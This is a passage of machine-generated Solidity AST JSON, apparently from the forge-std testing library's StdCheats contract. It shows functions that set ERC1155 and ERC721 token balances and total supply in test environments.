memory"}},{"components":[{"id":6051,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"28974:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6050,"name":"uint256","nodeType":"ElementaryTypeName","src":"28974:7:3","typeDescriptions":{}}}],"id":6052,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"28973:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6047,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28950:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6048,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28954:6:3","memberName":"decode","nodeType":"MemberAccess","src":"28950:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28950:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"28933:50:3"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6055,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29001:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":6056,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29008:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29001:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":6073,"nodeType":"Block","src":"29082:59:3","statements":[{"expression":{"id":6071,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6066,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29100:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6067,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29111:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":6068,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29118:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29111:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":6070,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"29110:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29100:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":6072,"nodeType":"ExpressionStatement","src":"29100:26:3"}]},"id":6074,"nodeType":"IfStatement","src":"28997:144:3","trueBody":{"id":6065,"nodeType":"Block","src":"29017:59:3","statements":[{"expression":{"id":6063,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6058,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29035:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6059,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29046:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":6060,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29056:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29046:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":6062,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"29045:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29035:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":6064,"nodeType":"ExpressionStatement","src":"29035:26:3"}]}},{"expression":{"arguments":[{"id":6087,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29220:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6084,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"29202:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30786264383562303339","id":6081,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29181:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},"value":"0xbd85b039"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"}],"expression":{"arguments":[{"id":6078,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"29170:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6075,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"29154:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6077,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29163:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"29154:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6080,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29177:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"29154:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6083,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29193:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"29154:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6086,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29206:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"29154:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:73:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6089,"nodeType":"ExpressionStatement","src":"29154:73:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC1155","nameLocation":"28183:11:3","parameters":{"id":5983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5974,"mutability":"mutable","name":"token","nameLocation":"28203:5:3","nodeType":"VariableDeclaration","scope":6093,"src":"28195:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5973,"name":"address","nodeType":"ElementaryTypeName","src":"28195:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5976,"mutability":"mutable","name":"to","nameLocation":"28218:2:3","nodeType":"VariableDeclaration","scope":6093,"src":"28210:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5975,"name":"address","nodeType":"ElementaryTypeName","src":"28210:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5978,"mutability":"mutable","name":"id","nameLocation":"28230:2:3","nodeType":"VariableDeclaration","scope":6093,"src":"28222:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5977,"name":"uint256","nodeType":"ElementaryTypeName","src":"28222:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5980,"mutability":"mutable","name":"give","nameLocation":"28242:4:3","nodeType":"VariableDeclaration","scope":6093,"src":"28234:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5979,"name":"uint256","nodeType":"ElementaryTypeName","src":"28234:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5982,"mutability":"mutable","name":"adjust","nameLocation":"28253:6:3","nodeType":"VariableDeclaration","scope":6093,"src":"28248:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5981,"name":"bool","nodeType":"ElementaryTypeName","src":"28248:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"28194:66:3"},"returnParameters":{"id":5984,"nodeType":"ParameterList","parameters":[],"src":"28278:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6222,"nodeType":"FunctionDefinition","src":"29250:1139:3","nodes":[],"body":{"id":6221,"nodeType":"Block","src":"29326:1063:3","nodes":[],"statements":[{"assignments":[6103,6105],"declarations":[{"constant":false,"id":6103,"mutability":"mutable","name":"successMinted","nameLocation":"29411:13:3","nodeType":"VariableDeclaration","scope":6221,"src":"29406:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6102,"name":"bool","nodeType":"ElementaryTypeName","src":"29406:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":6105,"mutability":"mutable","name":"ownerData","nameLocation":"29439:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29426:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6104,"name":"bytes","nodeType":"ElementaryTypeName","src":"29426:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6114,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783633353232313165","id":6110,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29492:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},"value":"0x6352211e"},{"id":6111,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6099,"src":"29504:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":6108,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29469:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6109,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29473:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29469:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29469:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6106,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29452:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6107,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29458:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29452:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29452:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29405:103:3"},{"expression":{"arguments":[{"id":6116,"name":"successMinted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6103,"src":"29526:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465616c28616464726573732c616464726573732c75696e742c626f6f6c293a206964206e6f74206d696e7465642e","id":6117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29541:59:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9f524ccbde1b7d94051482eee863c075921757bac915f984f010837545a169e","typeString":"literal_string \"StdCheats deal(address,address,uint,bool): id not minted.\""},"value":"StdCheats deal(address,address,uint,bool): id not minted."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e9f524ccbde1b7d94051482eee863c075921757bac915f984f010837545a169e","typeString":"literal_string \"StdCheats deal(address,address,uint,bool): id not minted.\""}],"id":6115,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"29518:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":6118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29518:83:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6119,"nodeType":"ExpressionStatement","src":"29518:83:3"},{"assignments":[null,6121],"declarations":[null,{"constant":false,"id":6121,"mutability":"mutable","name":"fromBalData","nameLocation":"29665:11:3","nodeType":"VariableDeclaration","scope":6221,"src":"29652:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6120,"name":"bytes","nodeType":"ElementaryTypeName","src":"29652:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6136,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":6126,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29732:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"arguments":[{"id":6129,"name":"ownerData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6105,"src":"29755:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6131,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"29767:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":6130,"name":"address","nodeType":"ElementaryTypeName","src":"29767:7:3","typeDescriptions":{}}}],"id":6132,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"29766:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"}],"expression":{"id":6127,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29744:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6128,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29748:6:3","memberName":"decode","nodeType":"MemberAccess","src":"29744:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6133,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29744:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":6124,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29709:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6125,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29713:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29709:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29709:68:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6122,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29692:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6123,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29698:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29692:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29692:86:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29649:129:3"},{"assignments":[6138],"declarations":[{"constant":false,"id":6138,"mutability":"mutable","name":"fromPrevBal","nameLocation":"29796:11:3","nodeType":"VariableDeclaration","scope":6221,"src":"29788:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6137,"name":"uint256","nodeType":"ElementaryTypeName","src":"29788:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6146,"initialValue":{"arguments":[{"id":6141,"name":"fromBalData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6121,"src":"29821:11:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6143,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"29835:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6142,"name":"uint256","nodeType":"ElementaryTypeName","src":"29835:7:3","typeDescriptions":{}}}],"id":6144,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"29834:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6139,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29810:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6140,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29814:6:3","memberName":"decode","nodeType":"MemberAccess","src":"29810:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29810:34:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"29788:56:3"},{"assignments":[null,6148],"declarations":[null,{"constant":false,"id":6148,"mutability":"mutable","name":"toBalData","nameLocation":"29911:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29898:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6147,"name":"bytes","nodeType":"ElementaryTypeName","src":"29898:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6157,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783730613038323331","id":6153,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29964:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},"value":"0x70a08231"},{"id":6154,"name":"to","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6097,"src":"29976:2:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6151,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29941:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6152,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29945:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29941:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6155,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29941:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6149,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29924:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6150,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29930:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29924:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29924:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29895:85:3"},{"assignments":[6159],"declarations":[{"constant":false,"id":6159,"mutability":"mutable","name":"toPrevBal","nameLocation":"29998:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29990:17:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6158,"name":"uint256","nodeType":"ElementaryTypeName","src":"29990:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6167,"initialValue":{"arguments":[{"id":6162,"name":"toBalData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6148,"src":"30021:9:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6164,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"30033:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6163,"name":"uint256","nodeType":"ElementaryTypeName","src":"30033:7:3","typeDescriptions":{}}}],"id":6165,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"30032:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes 